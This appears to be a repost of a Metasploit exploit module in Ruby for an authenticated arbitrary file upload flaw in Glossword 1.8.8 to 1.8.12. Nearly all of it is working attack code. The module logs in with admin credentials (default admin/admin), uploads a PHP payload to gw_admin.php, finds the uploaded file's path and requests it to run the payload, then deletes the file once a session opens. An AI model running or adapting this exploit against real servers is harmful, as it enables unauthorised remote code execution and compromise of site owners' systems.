Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability

yennn · 15 Mar 2013

##
# This file is part of the ****sploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the ****sploit
# Framework web site for more information on licensing and terms of use.
# http://****sploit.com/framework/
##

require 'msf/core'

class ****sploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability in Glossword
versions 1.8.8 to 1.8.12 when run as a standalone application.
This application has an upload feature that allows an authenticated user
with administrator roles to upload arbitrary files to the 'gw_temp/a/'
directory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AkaStep', # Discovery
'Brendan Coles <bcoles[at]gmail.com>' # ****sploit exploit
],
'References' =>
[
[ 'EDB', '24456' ],
[ 'OSVDB' '89960' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
'Privileged' => true,
'DisclosureDate' => "Feb 05 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
], self.class)
end

def check

base = target_uri.path
peer = "#{rhost}:#{rport}"
user = datastore['USERNAME']
pass = datastore['PASSWORD']

# login
print_status("#{peer} - Authenticating as user '#{user}'")
begin
res = login(base, user, pass)
if res
if res.code == 200
print_error("#{peer} - Authentication failed")
return Exploit::CheckCode::Unknown
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
print_good("#{peer} - Authenticated successfully")
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown

end

def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("#{@fname}")
else
client.shell_command_token("rm #{@fname}")
end
end

def upload(base, sid, fname, file)

user = datastore['USERNAME']
pass = datastore['PASSWORD']
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_********\"; filename=\"#{fname}\"")
data.add_part("edit-own", nil, nil, 'form-data; name="a"')
data.add_part("users", nil, nil, 'form-data; name="t"')
data.add_part("Save", nil, nil, 'form-data; name="post"')
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')

data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'gw_admin.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
})

return res
end

def login(base, user, pass)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'gw_login.php'),
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
})
return res

end

def exploit

base = target_uri.path
@peer = "#{rhost}:#{rport}"
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
user = datastore['USERNAME']
pass = datastore['PASSWORD']

# login; get session id and token
print_status("#{@peer} - Authenticating as user '#{user}'")
res = login(base, user, pass)
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
token = "#{$1}"
sid = "#{$2}"
print_good("#{@peer} - Authenticated successfully")
else
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
end

# upload PHP payload
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, sid, @fname, php)
if res and res.code == 301 and res['********'] =~ /Setting saved/
print_good("#{@peer} - File uploaded successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end

# retrieve PHP file path
print_status("#{@peer} - Locating PHP payload file")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
'cookie' => "sid#{token}=#{sid}"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
shell_uri = "#{$1}"
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
print_good("#{@peer} - Found payload file path (#{shell_uri})")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
end

# retrieve and execute PHP payload
print_status("#{@peer} - Executing payload (#{shell_uri})")
begin
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, shell_uri),
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
if !res or res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
end
end
end

Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability

yennn

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